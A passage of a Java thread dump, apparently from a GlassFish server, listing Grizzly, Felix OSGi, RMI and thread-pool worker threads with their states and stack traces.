org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:119) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:284) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:201) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:133) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:112) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:77) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:539) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:112) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:117) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:56) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:137) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"Thread-10" #39 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2dd96e53 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixStartLevel" #20 daemon [WAITING] on java.util.ArrayList@1a849732 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:283) + at java.lang.Thread.run(Thread.java:750) + +"CM Event Dispatcher" #78 daemon [WAITING] on java.util.LinkedList@409cc835 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:83) + at java.lang.Thread.run(Thread.java:750) + +"Thread-26" #89 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-8" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e4dea48 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:143) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:122) + +"Thread-17" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(3)" #42 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6ad75494 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"Thread-27" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-22" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Gogo shell" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@383bf623 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-25" #88 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.fs.LinuxWatchService.poll(Native Method) + at sun.nio.fs.LinuxWatchService.access$600(LinuxWatchService.java:47) + at sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.lang.Thread.run(Thread.java:750) + +"Thread-20" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-19-thread-1" #119 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@9484ff + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-22-thread-1" #124 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@19290357 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754837807029" #29 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@3864ad8b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #74 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@25ae1c5a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener-expirer(1)" #59 daemon [TIMED_WAITING] on java.lang.Object@61bcb6cb + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:173) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixFrameworkWiring" #19 daemon [WAITING] on java.util.ArrayList@604d2d66 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:172) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754837807029" #28 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@3864ad8b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-5" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-15-thread-1" #114 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@19290357 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-24" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #70 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@7de3e7ee + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"pool-14-thread-1" #111 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@19290357 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"DynamicReloader" #63 daemon [TIMED_WAITING] on java.util.TaskQueue@340c0f54 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"pool-7-thread-1" #97 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b984507 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5814096c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(2)-192.168.215.4" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1716200670.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-21" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-18" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-2-kernel(1) SelectorRunner" #53 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:114) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-10" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-2" #15 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-4" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5814096c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(1)" #40 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6ad75494 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"pool-21-thread-1" #121 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@19290357 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #104 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5814096c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI RenewClean-[192.168.215.4:8686]" #75 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3c752ab9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #27 daemon [WAITING] on java.util.TaskQueue@9dc3c0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at 